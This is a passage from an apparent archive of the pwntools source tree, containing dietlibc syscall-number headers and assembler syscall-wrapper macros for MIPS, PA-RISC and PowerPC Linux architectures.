(__NR_Linux + 438) #else #error "dietlibc not ported to your MIPS ABI yet." #endif #include "mips-asm.h" #define syscall_weak(name,wsym,sym) \ .text; \ .weak wsym; \ wsym: ; \ .global sym; \ .ent sym; \ sym: \ li $2,__NR_##name; \ syscall; \ PTR_LA $25,__unified_syscall; \ jr $25; \ .end sym #define syscall(name,sym) \ .text; \ .global sym; \ .ent sym; \ sym: \ li $2,__NR_##name; \ syscall; \ PTR_LA $25,__unified_syscall; \ jr $25; \ .end sym Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/mips64/000077500000000000000000000000001507273764500274105ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/mips64/syscalls.h000066400000000000000000000000361507273764500314150ustar00rootroot00000000000000#include "../mips/syscalls.h" Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/mipsel/000077500000000000000000000000001507273764500275575ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/mipsel/syscalls.h000066400000000000000000000000361507273764500315640ustar00rootroot00000000000000#include "../mips/syscalls.h" Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/parisc/000077500000000000000000000000001507273764500275475ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/parisc/syscalls.h000066400000000000000000000253111507273764500315570ustar00rootroot00000000000000/* Copyright (C) 2001, 2002 Thomas M. Ogrisegg This is free software. You can redistribute and modify it under the terms of the GNU General Public Public License. This file is part of the hppa-Port of the dietlibc syscalls.h Header file including the systemcall index- and implementation macros */ #define __NR_restart_syscall 0 #define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 #define __NR_waitpid 7 #define __NR_creat 8 #define __NR_link 9 #define __NR_unlink 10 #define __NR_execve 11 #define __NR_chdir 12 #define __NR_time 13 #define __NR_mknod 14 #define __NR_chmod 15 #define __NR_lchown 16 #define __NR_socket 17 #define __NR_stat 18 #define __NR_lseek 19 #define __NR_getpid 20 #define __NR_mount 21 #define __NR_bind 22 #define __NR_setuid 23 #define __NR_getuid 24 #define __NR_stime 25 #define __NR_ptrace 26 #define __NR_alarm 27 #define __NR_fstat 28 #define __NR_pause 29 #define __NR_utime 30 #define __NR_connect 31 #define __NR_listen 32 #define __NR_access 33 #define __NR_nice 34 #define __NR_accept 35 #define __NR_sync 36 #define __NR_kill 37 #define __NR_rename 38 #define __NR_mkdir 39 #define __NR_rmdir 40 #define __NR_dup 41 #define __NR_pipe 42 #define __NR_times 43 #define __NR_getsockname 44 #define __NR_brk 45 #define __NR_setgid 46 #define __NR_getgid 47 #define __NR_signal 48 #define __NR_geteuid 49 #define __NR_getegid 50 #define __NR_acct 51 #define __NR_umount2 52 #define __NR_getpeername 53 #define __NR_ioctl 54 #define __NR_fcntl 55 #define __NR_socketpair 56 #define __NR_setpgid 57 #define __NR_send 58 #define __NR_uname 59 #define __NR_umask 60 #define __NR_chroot 61 #define __NR_ustat 62 #define __NR_dup2 63 #define __NR_getppid 64 #define __NR_getpgrp 65 #define __NR_setsid 66 #define __NR_pivot_root 67 #define __NR_sgetmask 68 #define __NR_ssetmask 69 #define __NR_setreuid 70 #define __NR_setregid 71 #define __NR_mincore 72 #define __NR_sigpending 73 #define __NR_sethostname 74 #define __NR_setrlimit 75 #define __NR_getrlimit 76 #define __NR_getrusage 77 #define __NR_gettimeofday 78 #define __NR_settimeofday 79 #define __NR_getgroups 80 #define __NR_setgroups 81 #define __NR_sendto 82 #define __NR_symlink 83 #define __NR_lstat 84 #define __NR_readlink 85 #define __NR_uselib 86 #define __NR_swapon 87 #define __NR_reboot 88 #define __NR_mmap2 89 #define __NR_mmap 90 #define __NR_munmap 91 #define __NR_truncate 92 #define __NR_ftruncate 93 #define __NR_fchmod 94 #define __NR_fchown 95 #define __NR_getpriority 96 #define __NR_setpriority 97 #define __NR_recv 98 #define __NR_statfs 99 #define __NR_fstatfs 100 #define __NR_stat64 101 #define __NR_syslog 103 #define __NR_setitimer 104 #define __NR_getitimer 105 #define __NR_capget 106 #define __NR_capset 107 #define __NR_pread64 108 #define __NR_pwrite64 109 #define __NR_getcwd 110 #define __NR_vhangup 111 #define __NR_fstat64 112 #define __NR_vfork 113 #define __NR_wait4 114 #define __NR_swapoff 115 #define __NR_sysinfo 116 #define __NR_shutdown 117 #define __NR_fsync 118 #define __NR_madvise 119 #define __NR_clone 120 #define __NR_setdomainname 121 #define __NR_sendfile 122 #define __NR_recvfrom 123 #define __NR_adjtimex 124 #define __NR_mprotect 125 #define __NR_sigprocmask 126 #define __NR_init_module 128 #define __NR_delete_module 129 #define __NR_quotactl 131 #define __NR_getpgid 132 #define __NR_fchdir 133 #define __NR_bdflush 134 #define __NR_sysfs 135 #define __NR_personality 136 #define __NR_setfsuid 138 #define __NR_setfsgid 139 #define __NR__llseek 140 #define __NR_getdents 141 #define __NR__newselect 142 #define __NR_flock 143 #define __NR_msync 144 #define __NR_readv 145 #define __NR_writev 146 #define __NR_getsid 147 #define __NR_fdatasync 148 #define __NR__sysctl 149 #define __NR_mlock 150 #define __NR_munlock 151 #define __NR_mlockall 152 #define __NR_munlockall 153 #define __NR_sched_setparam 154 #define __NR_sched_getparam 155 #define __NR_sched_setscheduler 156 #define __NR_sched_getscheduler 157 #define __NR_sched_yield 158 #define __NR_sched_get_priority_max 159 #define __NR_sched_get_priority_min 160 #define __NR_sched_rr_get_interval 161 #define __NR_nanosleep 162 #define __NR_mremap 163 #define __NR_setresuid 164 #define __NR_getresuid 165 #define __NR_sigaltstack 166 #define __NR_poll 168 #define __NR_setresgid 170 #define __NR_getresgid 171 #define __NR_prctl 172 #define __NR_rt_sigreturn 173 #define __NR_rt_sigaction 174 #define __NR_rt_sigprocmask 175 #define __NR_rt_sigpending 176 #define __NR_rt_sigtimedwait 177 #define __NR_rt_sigqueueinfo 178 #define __NR_rt_sigsuspend 179 #define __NR_chown 180 #define __NR_setsockopt 181 #define __NR_getsockopt 182 #define __NR_sendmsg 183 #define __NR_recvmsg 184 #define __NR_semop 185 #define __NR_semget 186 #define __NR_semctl 187 #define __NR_msgsnd 188 #define __NR_msgrcv 189 #define __NR_msgget 190 #define __NR_msgctl 191 #define __NR_shmat 192 #define __NR_shmdt 193 #define __NR_shmget 194 #define __NR_shmctl 195 #define __NR_lstat64 198 #define __NR_truncate64 199 #define __NR_ftruncate64 200 #define __NR_getdents64 201 #define __NR_fcntl64 202 #define __NR_gettid 206 #define __NR_readahead 207 #define __NR_tkill 208 #define __NR_sendfile64 209 #define __NR_futex 210 #define __NR_sched_setaffinity 211 #define __NR_sched_getaffinity 212 #define __NR_io_setup 215 #define __NR_io_destroy 216 #define __NR_io_getevents 217 #define __NR_io_submit 218 #define __NR_io_cancel 219 #define __NR_exit_group 222 #define __NR_lookup_dcookie 223 #define __NR_epoll_create 224 #define __NR_epoll_ctl 225 #define __NR_epoll_wait 226 #define __NR_remap_file_pages 227 #define __NR_semtimedop 228 #define __NR_mq_open 229 #define __NR_mq_unlink 230 #define __NR_mq_timedsend 231 #define __NR_mq_timedreceive 232 #define __NR_mq_notify 233 #define __NR_mq_getsetattr 234 #define __NR_waitid 235 #define __NR_fadvise64_64 236 #define __NR_set_tid_address 237 #define __NR_setxattr 238 #define __NR_lsetxattr 239 #define __NR_fsetxattr 240 #define __NR_getxattr 241 #define __NR_lgetxattr 242 #define __NR_fgetxattr 243 #define __NR_listxattr 244 #define __NR_llistxattr 245 #define __NR_flistxattr 246 #define __NR_removexattr 247 #define __NR_lremovexattr 248 #define __NR_fremovexattr 249 #define __NR_timer_create 250 #define __NR_timer_settime 251 #define __NR_timer_gettime 252 #define __NR_timer_getoverrun 253 #define __NR_timer_delete 254 #define __NR_clock_settime 255 #define __NR_clock_gettime 256 #define __NR_clock_getres 257 #define __NR_clock_nanosleep 258 #define __NR_tgkill 259 #define __NR_mbind 260 #define __NR_get_mempolicy 261 #define __NR_set_mempolicy 262 #define __NR_add_key 264 #define __NR_request_key 265 #define __NR_keyctl 266 #define __NR_ioprio_set 267 #define __NR_ioprio_get 268 #define __NR_inotify_init 269 #define __NR_inotify_add_watch 270 #define __NR_inotify_rm_watch 271 #define __NR_migrate_pages 272 #define __NR_pselect6 273 #define __NR_ppoll 274 #define __NR_openat 275 #define __NR_mkdirat 276 #define __NR_mknodat 277 #define __NR_fchownat 278 #define __NR_futimesat 279 #define __NR_fstatat64 280 #define __NR_unlinkat 281 #define __NR_renameat 282 #define __NR_linkat 283 #define __NR_symlinkat 284 #define __NR_readlinkat 285 #define __NR_fchmodat 286 #define __NR_faccessat 287 #define __NR_unshare 288 #define __NR_set_robust_list 289 #define __NR_get_robust_list 290 #define __NR_splice 291 #define __NR_sync_file_range 292 #define __NR_tee 293 #define __NR_vmsplice 294 #define __NR_move_pages 295 #define __NR_getcpu 296 #define __NR_epoll_pwait 297 #define __NR_statfs64 298 #define __NR_fstatfs64 299 #define __NR_kexec_load 300 #define __NR_utimensat 301 #define __NR_signalfd 302 #define __NR_eventfd 304 #define __NR_fallocate 305 #define __NR_timerfd_create 306 #define __NR_timerfd_settime 307 #define __NR_timerfd_gettime 308 #define __NR_signalfd4 309 #define __NR_eventfd2 310 #define __NR_epoll_create1 311 #define __NR_dup3 312 #define __NR_pipe2 313 #define __NR_inotify_init1 314 #define __NR_preadv 315 #define __NR_pwritev 316 #define __NR_rt_tgsigqueueinfo 317 #define __NR_perf_event_open 318 #define __NR_recvmmsg 319 #define __NR_accept4 320 #define __NR_prlimit64 321 #define __NR_fanotify_init 322 #define __NR_fanotify_mark 323 #define __NR_clock_adjtime 324 #define __NR_name_to_handle_at 325 #define __NR_open_by_handle_at 326 #define __NR_syncfs 327 #define __NR_setns 328 #define __NR_sendmmsg 329 #define __NR_process_vm_readv 330 #define __NR_process_vm_writev 331 #define __NR_kcmp 332 #define __NR_finit_module 333 #define __NR_sched_setattr 334 #define __NR_sched_getattr 335 #define __NR_utimes 336 #define __NR_renameat2 337 #define __NR_seccomp 338 #define __NR_getrandom 339 #define __NR_memfd_create 340 #define __NR_bpf 341 #define __NR_execveat 342 #define __NR_membarrier 343 #define __NR_userfaultfd 344 #define __NR_mlock2 345 #define __NR_copy_file_range 346 #define __NR_preadv2 347 #define __NR_pwritev2 348 #define __NR_statx 349 #define __NR_io_pgetevents 350 #define __NR_pkey_mprotect 351 #define __NR_pkey_alloc 352 #define __NR_pkey_free 353 #define __NR_rseq 354 #define __NR_kexec_file_load 355 #define __NR_clock_gettime64 403 #define __NR_clock_settime64 404 #define __NR_clock_adjtime64 405 #define __NR_clock_getres_time64 406 #define __NR_clock_nanosleep_time64 407 #define __NR_timer_gettime64 408 #define __NR_timer_settime64 409 #define __NR_timerfd_gettime64 410 #define __NR_timerfd_settime64 411 #define __NR_utimensat_time64 412 #define __NR_pselect6_time64 413 #define __NR_ppoll_time64 414 #define __NR_io_pgetevents_time64 416 #define __NR_recvmmsg_time64 417 #define __NR_mq_timedsend_time64 418 #define __NR_mq_timedreceive_time64 419 #define __NR_semtimedop_time64 420 #define __NR_rt_sigtimedwait_time64 421 #define __NR_futex_time64 422 #define __NR_sched_rr_get_interval_time64 423 #define __NR_pidfd_send_signal 424 #define __NR_io_uring_setup 425 #define __NR_io_uring_enter 426 #define __NR_io_uring_register 427 #define __NR_open_tree 428 #define __NR_move_mount 429 #define __NR_fsopen 430 #define __NR_fsconfig 431 #define __NR_fsmount 432 #define __NR_fspick 433 #define __NR_pidfd_open 434 #define __NR_clone3 435 #define __NR_openat2 437 #define __NR_pidfd_getfd 438 #define LINUX_GATEWAY_ADDR 0x100 #define syscall_weak(name, sym, wsym) \ .text! \ .type wsym, @function! \ .weak wsym! \ wsym: ! \ .type sym, @function! \ .globl sym! \ sym: \ b __unified_syscall! \ ldi __NR_##name, %r20! \ #define __syscall(name, sym, imp) \ .text! \ .type sym,@function! \ .globl sym! \ .export sym! \ sym: \ b imp! \ ldi __NR_##name, %r20! #define syscall(name, sym) __syscall(name, sym, __unified_syscall) #define syscall5(name, sym) __syscall(name, sym, __unified_syscall5) #define syscall6(name, sym) __syscall(name, sym, __unified_syscall6) Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/ppc/000077500000000000000000000000001507273764500270505ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/ppc/syscalls.h000066400000000000000000000276441507273764500310730ustar00rootroot00000000000000 #define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 #define __NR_waitpid 7 #define __NR_creat 8 #define __NR_link 9 #define __NR_unlink 10 #define __NR_execve 11 #define __NR_chdir 12 #define __NR_time 13 #define __NR_mknod 14 #define __NR_chmod 15 #define __NR_lchown 16 #define __NR_break 17 #define __NR_oldstat 18 #define __NR_lseek 19 #define __NR_getpid 20 #define __NR_mount 21 #define __NR_umount 22 #define __NR_setuid 23 #define __NR_getuid 24 #define __NR_stime 25 #define __NR_ptrace 26 #define __NR_alarm 27 #define __NR_oldfstat 28 #define __NR_pause 29 #define __NR_utime 30 #define __NR_stty 31 #define __NR_gtty 32 #define __NR_access 33 #define __NR_nice 34 #define __NR_ftime 35 #define __NR_sync 36 #define __NR_kill 37 #define __NR_rename 38 #define __NR_mkdir 39 #define __NR_rmdir 40 #define __NR_dup 41 #define __NR_pipe 42 #define __NR_times 43 #define __NR_prof 44 #define __NR_brk 45 #define __NR_setgid 46 #define __NR_getgid 47 #define __NR_signal 48 #define __NR_geteuid 49 #define __NR_getegid 50 #define __NR_acct 51 #define __NR_umount2 52 #define __NR_lock 53 #define __NR_ioctl 54 #define __NR_fcntl 55 #define __NR_mpx 56 #define __NR_setpgid 57 #define __NR_ulimit 58 #define __NR_oldolduname 59 #define __NR_umask 60 #define __NR_chroot 61 #define __NR_ustat 62 #define __NR_dup2 63 #define __NR_getppid 64 #define __NR_getpgrp 65 #define __NR_setsid 66 #define __NR_sigaction 67 #define __NR_sgetmask 68 #define __NR_ssetmask 69 #define __NR_setreuid 70 #define __NR_setregid 71 #define __NR_sigsuspend 72 #define __NR_sigpending 73 #define __NR_sethostname 74 #define __NR_setrlimit 75 #define __NR_getrlimit 76 #define __NR_getrusage 77 #define __NR_gettimeofday 78 #define __NR_settimeofday 79 #define __NR_getgroups 80 #define __NR_setgroups 81 #define __NR_select 82 #define __NR_symlink 83 #define __NR_oldlstat 84 #define __NR_readlink 85 #define __NR_uselib 86 #define __NR_swapon 87 #define __NR_reboot 88 #define __NR_readdir 89 #define __NR_mmap 90 #define __NR_munmap 91 #define __NR_truncate 92 #define __NR_ftruncate 93 #define __NR_fchmod 94 #define __NR_fchown 95 #define __NR_getpriority 96 #define __NR_setpriority 97 #define __NR_profil 98 #define __NR_statfs 99 #define __NR_fstatfs 100 #define __NR_ioperm 101 #define __NR_socketcall 102 #define __NR_syslog 103 #define __NR_setitimer 104 #define __NR_getitimer 105 #define __NR_stat 106 #define __NR_lstat 107 #define __NR_fstat 108 #define __NR_olduname 109 #define __NR_iopl 110 #define __NR_vhangup 111 #define __NR_idle 112 #define __NR_vm86 113 #define __NR_wait4 114 #define __NR_swapoff 115 #define __NR_sysinfo 116 #define __NR_ipc 117 #define __NR_fsync 118 #define __NR_sigreturn 119 #define __NR_clone 120 #define __NR_setdomainname 121 #define __NR_uname 122 #define __NR_modify_ldt 123 #define __NR_adjtimex 124 #define __NR_mprotect 125 #define __NR_sigprocmask 126 #define __NR_create_module 127 #define __NR_init_module 128 #define __NR_delete_module 129 #define __NR_get_kernel_syms 130 #define __NR_quotactl 131 #define __NR_getpgid 132 #define __NR_fchdir 133 #define __NR_bdflush 134 #define __NR_sysfs 135 #define __NR_personality 136 #define __NR_afs_syscall 137 /* Syscall for Andrew File System */ #define __NR_setfsuid 138 #define __NR_setfsgid 139 #define __NR__llseek 140 #define __NR_getdents 141 #define __NR__newselect 142 #define __NR_flock 143 #define __NR_msync 144 #define __NR_readv 145 #define __NR_writev 146 #define __NR_getsid 147 #define __NR_fdatasync 148 #define __NR__sysctl 149 #define __NR_mlock 150 #define __NR_munlock 151 #define __NR_mlockall 152 #define __NR_munlockall 153 #define __NR_sched_setparam 154 #define __NR_sched_getparam 155 #define __NR_sched_setscheduler 156 #define __NR_sched_getscheduler 157 #define __NR_sched_yield 158 #define __NR_sched_get_priority_max 159 #define __NR_sched_get_priority_min 160 #define __NR_sched_rr_get_interval 161 #define __NR_nanosleep 162 #define __NR_mremap 163 #define __NR_setresuid 164 #define __NR_getresuid 165 #define __NR_query_module 166 #define __NR_poll 167 #define __NR_nfsservctl 168 #define __NR_setresgid 169 #define __NR_getresgid 170 #define __NR_prctl 171 #define __NR_rt_sigreturn 172 #define __NR_rt_sigaction 173 #define __NR_rt_sigprocmask 174 #define __NR_rt_sigpending 175 #define __NR_rt_sigtimedwait 176 #define __NR_rt_sigqueueinfo 177 #define __NR_rt_sigsuspend 178 #define __NR_pread 179 #define __NR_pwrite 180 #define __NR_chown 181 #define __NR_getcwd 182 #define __NR_capget 183 #define __NR_capset 184 #define __NR_sigaltstack 185 #define __NR_sendfile 186 #define __NR_getpmsg 187 /* some people actually want streams */ #define __NR_putpmsg 188 /* some people actually want streams */ #define __NR_vfork 189 #define __NR_ugetrlimit 190 /* SuS compliant getrlimit */ #define __NR_readahead 191 #define __NR_mmap2 192 #define __NR_truncate64 193 #define __NR_ftruncate64 194 #define __NR_stat64 195 #define __NR_lstat64 196 #define __NR_fstat64 197 #define __NR_pciconfig_read 198 #define __NR_pciconfig_write 199 #define __NR_pciconfig_iobase 200 #define __NR_multiplexer 201 #define __NR_getdents64 202 #define __NR_pivot_root 203 #define __NR_fcntl64 204 #define __NR_madvise 205 #define __NR_mincore 206 #define __NR_gettid 207 #define __NR_tkill 208 #define __NR_setxattr 209 #define __NR_lsetxattr 210 #define __NR_fsetxattr 211 #define __NR_getxattr 212 #define __NR_lgetxattr 213 #define __NR_fgetxattr 214 #define __NR_listxattr 215 #define __NR_llistxattr 216 #define __NR_flistxattr 217 #define __NR_removexattr 218 #define __NR_lremovexattr 219 #define __NR_fremovexattr 220 #define __NR_futex 221 #define __NR_sched_setaffinity 222 #define __NR_sched_getaffinity 223 /* 224 currently unused */ #define __NR_tuxcall 225 #define __NR_sendfile64 226 #define __NR_io_setup 227 #define __NR_io_destroy 228 #define __NR_io_getevents 229 #define __NR_io_submit 230 #define __NR_io_cancel 231 #define __NR_set_tid_address 232 #define __NR_fadvise64 233 #define __NR_exit_group 234 #define __NR_lookup_dcookie 235 #define __NR_epoll_create 236 #define __NR_epoll_ctl 237 #define __NR_epoll_wait 238 #define __NR_remap_file_pages 239 #define __NR_timer_create 240 #define __NR_timer_settime 241 #define __NR_timer_gettime 242 #define __NR_timer_getoverrun 243 #define __NR_timer_delete 244 #define __NR_clock_settime 245 #define __NR_clock_gettime 246 #define __NR_clock_getres 247 #define __NR_clock_nanosleep 248 #define __NR_swapcontext 249 #define __NR_tgkill 250 #define __NR_utimes 251 #define __NR_statfs64 252 #define __NR_fstatfs64 253 #define __NR_fadvise64_64 254 #define __NR_rtas 255 #define __NR_sys_debug_setcontext 256 /* Number 257 is reserved for vserver */ /* Number 258 is reserved for new sys_remap_file_pages */ /* Number 259 is reserved for new sys_mbind */ /* Number 260 is reserved for new sys_get_mempolicy */ /* Number 261 is reserved for new sys_set_mempolicy */ #define __NR_mq_open 262 #define __NR_mq_unlink 263 #define __NR_mq_timedsend 264 #define __NR_mq_timedreceive 265 #define __NR_mq_notify 266 #define __NR_mq_getsetattr 267 #define __NR_kexec_load 268 #define __NR_add_key 269 #define __NR_request_key 270 #define __NR_keyctl 271 #define __NR_waitid 272 #define __NR_ioprio_set 273 #define __NR_ioprio_get 274 #define __NR_inotify_init 275 #define __NR_inotify_add_watch 276 #define __NR_inotify_rm_watch 277 #define __NR_spu_run 278 #define __NR_spu_create 279 #define __NR_pselect6 280 #define __NR_ppoll 281 #define __NR_unshare 282 #define __NR_splice 283 #define __NR_tee 284 #define __NR_vmsplice 285 #define __NR_openat 286 #define __NR_mkdirat 287 #define __NR_mknodat 288 #define __NR_fchownat 289 #define __NR_futimesat 290 #define __NR_fstatat64 291 #define __NR_unlinkat 292 #define __NR_renameat 293 #define __NR_linkat 294 #define __NR_symlinkat 295 #define __NR_readlinkat 296 #define __NR_fchmodat 297 #define __NR_faccessat 298 #define __NR_get_robust_list 299 #define __NR_set_robust_list 300 #define __NR_move_pages 301 #define __NR_getcpu 302 #define __NR_epoll_pwait 303 #define __NR_utimensat 304 #define __NR_signalfd 305 #define __NR_timerfd 306 #define __NR_eventfd 307 #define __NR_sync_file_range2 308 #define __NR_fallocate 309 #define __NR_subpage_prot 310 #define __NR_timerfd_settime 311 #define __NR_timerfd_gettime 312 #define __NR_signalfd4 313 #define __NR_eventfd2 314 #define __NR_epoll_create1 315 #define __NR_dup3 316 #define __NR_pipe2 317 #define __NR_inotify_init1 318 #define __NR_perf_event_open 319 #define __NR_preadv 320 #define __NR_pwritev 321 #define __NR_rt_tgsigqueueinfo 322 #define __NR_fanotify_init 323 #define __NR_fanotify_mark 324 #define __NR_prlimit64 325 #define __NR_socket 326 #define __NR_bind 327 #define __NR_connect 328 #define __NR_listen 329 #define __NR_accept 330 #define __NR_getsockname 331 #define __NR_getpeername 332 #define __NR_socketpair 333 #define __NR_send 334 #define __NR_sendto 335 #define __NR_recv 336 #define __NR_recvfrom 337 #define __NR_shutdown 338 #define __NR_setsockopt 339 #define __NR_getsockopt 340 #define __NR_sendmsg 341 #define __NR_recvmsg 342 #define __NR_recvmmsg 343 #define __NR_accept4 344 #define __NR_name_to_handle_at 345 #define __NR_open_by_handle_at 346 #define __NR_clock_adjtime 347 #define __NR_syncfs 348 #define __NR_sendmmsg 349 #define __NR_setns 350 #define __NR_process_vm_readv 351 #define __NR_process_vm_writev 352 #define __NR_finit_module 353 #define __NR_kcmp 354 #define __NR_sched_setattr 355 #define __NR_sched_getattr 356 #define __NR_renameat2 357 #define __NR_seccomp 358 #define __NR_getrandom 359 #define __NR_memfd_create 360 #define __NR_bpf 361 #define __NR_execveat 362 #define __NR_switch_endian 363 #define __NR_userfaultfd 364 #define __NR_membarrier 365 #define __NR_mlock2 378 #define __NR_copy_file_range 379 #define __NR_preadv2 380 #define __NR_pwritev2 381 #define __NR_kexec_file_load 382 #define __NR_statx 383 #define __NR_pkey_alloc 384 #define __NR_pkey_free 385 #define __NR_pkey_mprotect 386 #define __NR_rseq 387 #define __NR_io_pgetevents 388 #define __NR_semget 393 #define __NR_semctl 394 #define __NR_shmget 395 #define __NR_shmctl 396 #define __NR_shmat 397 #define __NR_shmdt 398 #define __NR_msgget 399 #define __NR_msgsnd 400 #define __NR_msgrcv 401 #define __NR_msgctl 402 #define __NR_clock_gettime64 403 #define __NR_clock_settime64 404 #define __NR_clock_adjtime64 405 #define __NR_clock_getres_time64 406 #define __NR_clock_nanosleep_time64 407 #define __NR_timer_gettime64 408 #define __NR_timer_settime64 409 #define __NR_timerfd_gettime64 410 #define __NR_timerfd_settime64 411 #define __NR_utimensat_time64 412 #define __NR_pselect6_time64 413 #define __NR_ppoll_time64 414 #define __NR_io_pgetevents_time64 416 #define __NR_recvmmsg_time64 417 #define __NR_mq_timedsend_time64 418 #define __NR_mq_timedreceive_time64 419 #define __NR_semtimedop_time64 420 #define __NR_rt_sigtimedwait_time64 421 #define __NR_futex_time64 422 #define __NR_sched_rr_get_interval_time64 423 #define __NR_pidfd_send_signal 424 #define __NR_io_uring_setup 425 #define __NR_io_uring_enter 426 #define __NR_io_uring_register 427 #define __NR_open_tree 428 #define __NR_move_mount 429 #define __NR_fsopen 430 #define __NR_fsconfig 431 #define __NR_fsmount 432 #define __NR_fspick 433 #define __NR_pidfd_open 434 #define __NR_clone3 435 #define __NR_openat2 437 #define __NR_pidfd_getfd 438 #define syscall_weak(name,wsym,sym) \ .text; \ .type wsym,@function; \ .weak wsym; \ wsym: ; \ .type sym,@function; \ .global sym; \ sym: \ li 0,__NR_##name; \ b __unified_syscall #define syscall(name,sym) \ .text; \ .type sym,@function; \ .global sym; \ sym: \ li 0,__NR_##name; \ b __unified_syscall Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/ppc64/000077500000000000000000000000001507273764500272225ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/ppc64/syscalls.h000066400000000000000000000305321507273764500312330ustar00rootroot00000000000000 #define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 #define __NR_waitpid 7 #define __NR_creat 8 #define __NR_link 9 #define __NR_unlink 10 #define __NR_execve 11 #define __NR_chdir 12 #define __NR_time 13 #define __NR_mknod 14 #define __NR_chmod 15 #define __NR_lchown 16 #define __NR_break 17 #define __NR_oldstat 18 #define __NR_lseek 19 #define __NR_getpid 20 #define __NR_mount 21 #define __NR_umount 22 #define __NR_setuid 23 #define __NR_getuid 24 #define __NR_stime 25 #define __NR_ptrace 26 #define __NR_alarm 27 #define __NR_oldfstat 28 #define __NR_pause 29 #define __NR_utime 30 #define __NR_stty 31 #define __NR_gtty 32 #define __NR_access 33 #define __NR_nice 34 #define __NR_ftime 35 #define __NR_sync 36 #define __NR_kill 37 #define __NR_rename 38 #define __NR_mkdir 39 #define __NR_rmdir 40 #define __NR_dup 41 #define __NR_pipe 42 #define __NR_times 43 #define __NR_prof 44 #define __NR_brk 45 #define __NR_setgid 46 #define __NR_getgid 47 #define __NR_signal 48 #define __NR_geteuid 49 #define __NR_getegid 50 #define __NR_acct 51 #define __NR_umount2 52 #define __NR_lock 53 #define __NR_ioctl 54 #define __NR_fcntl 55 #define __NR_mpx 56 #define __NR_setpgid 57 #define __NR_ulimit 58 #define __NR_oldolduname 59 #define __NR_umask 60 #define __NR_chroot 61 #define __NR_ustat 62 #define __NR_dup2 63 #define __NR_getppid 64 #define __NR_getpgrp 65 #define __NR_setsid 66 #define __NR_sigaction 67 #define __NR_sgetmask 68 #define __NR_ssetmask 69 #define __NR_setreuid 70 #define __NR_setregid 71 #define __NR_sigsuspend 72 #define __NR_sigpending 73 #define __NR_sethostname 74 #define __NR_setrlimit 75 #define __NR_getrlimit 76 #define __NR_getrusage 77 #define __NR_gettimeofday 78 #define __NR_settimeofday 79 #define __NR_getgroups 80 #define __NR_setgroups 81 #define __NR_select 82 #define __NR_symlink 83 #define __NR_oldlstat 84 #define __NR_readlink 85 #define __NR_uselib 86 #define __NR_swapon 87 #define __NR_reboot 88 #define __NR_readdir 89 #define __NR_mmap 90 #define __NR_munmap 91 #define __NR_truncate 92 #define __NR_ftruncate 93 #define __NR_fchmod 94 #define __NR_fchown 95 #define __NR_getpriority 96 #define __NR_setpriority 97 #define __NR_profil 98 #define __NR_statfs 99 #define __NR_fstatfs 100 #define __NR_ioperm 101 #define __NR_socketcall 102 #define __NR_syslog 103 #define __NR_setitimer 104 #define __NR_getitimer 105 #define __NR_stat 106 #define __NR_lstat 107 #define __NR_fstat 108 #define __NR_olduname 109 #define __NR_iopl 110 #define __NR_vhangup 111 #define __NR_idle 112 #define __NR_vm86 113 #define __NR_wait4 114 #define __NR_swapoff 115 #define __NR_sysinfo 116 #define __NR_ipc 117 #define __NR_fsync 118 #define __NR_sigreturn 119 #define __NR_clone 120 #define __NR_setdomainname 121 #define __NR_uname 122 #define __NR_modify_ldt 123 #define __NR_adjtimex 124 #define __NR_mprotect 125 #define __NR_sigprocmask 126 #define __NR_create_module 127 #define __NR_init_module 128 #define __NR_delete_module 129 #define __NR_get_kernel_syms 130 #define __NR_quotactl 131 #define __NR_getpgid 132 #define __NR_fchdir 133 #define __NR_bdflush 134 #define __NR_sysfs 135 #define __NR_personality 136 #define __NR_afs_syscall 137 /* Syscall for Andrew File System */ #define __NR_setfsuid 138 #define __NR_setfsgid 139 #define __NR__llseek 140 #define __NR_getdents 141 #define __NR__newselect 142 #define __NR_flock 143 #define __NR_msync 144 #define __NR_readv 145 #define __NR_writev 146 #define __NR_getsid 147 #define __NR_fdatasync 148 #define __NR__sysctl 149 #define __NR_mlock 150 #define __NR_munlock 151 #define __NR_mlockall 152 #define __NR_munlockall 153 #define __NR_sched_setparam 154 #define __NR_sched_getparam 155 #define __NR_sched_setscheduler 156 #define __NR_sched_getscheduler 157 #define __NR_sched_yield 158 #define __NR_sched_get_priority_max 159 #define __NR_sched_get_priority_min 160 #define __NR_sched_rr_get_interval 161 #define __NR_nanosleep 162 #define __NR_mremap 163 #define __NR_setresuid 164 #define __NR_getresuid 165 #define __NR_query_module 166 #define __NR_poll 167 #define __NR_nfsservctl 168 #define __NR_setresgid 169 #define __NR_getresgid 170 #define __NR_prctl 171 #define __NR_rt_sigreturn 172 #define __NR_rt_sigaction 173 #define __NR_rt_sigprocmask 174 #define __NR_rt_sigpending 175 #define __NR_rt_sigtimedwait 176 #define __NR_rt_sigqueueinfo 177 #define __NR_rt_sigsuspend 178 #define __NR_pread 179 #define __NR_pwrite 180 #define __NR_chown 181 #define __NR_getcwd 182 #define __NR_capget 183 #define __NR_capset 184 #define __NR_sigaltstack 185 #define __NR_sendfile 186 #define __NR_getpmsg 187 /* some people actually want streams */ #define __NR_putpmsg 188 /* some people actually want streams */ #define __NR_vfork 189 #define __NR_ugetrlimit 190 /* SuS compliant getrlimit */ #define __NR_readahead 191 /* #define __NR_mmap2 192 32bit only */ /* #define __NR_truncate64 193 32bit only */ /* #define __NR_ftruncate64 194 32bit only */ /* #define __NR_stat64 195 32bit only */ /* #define 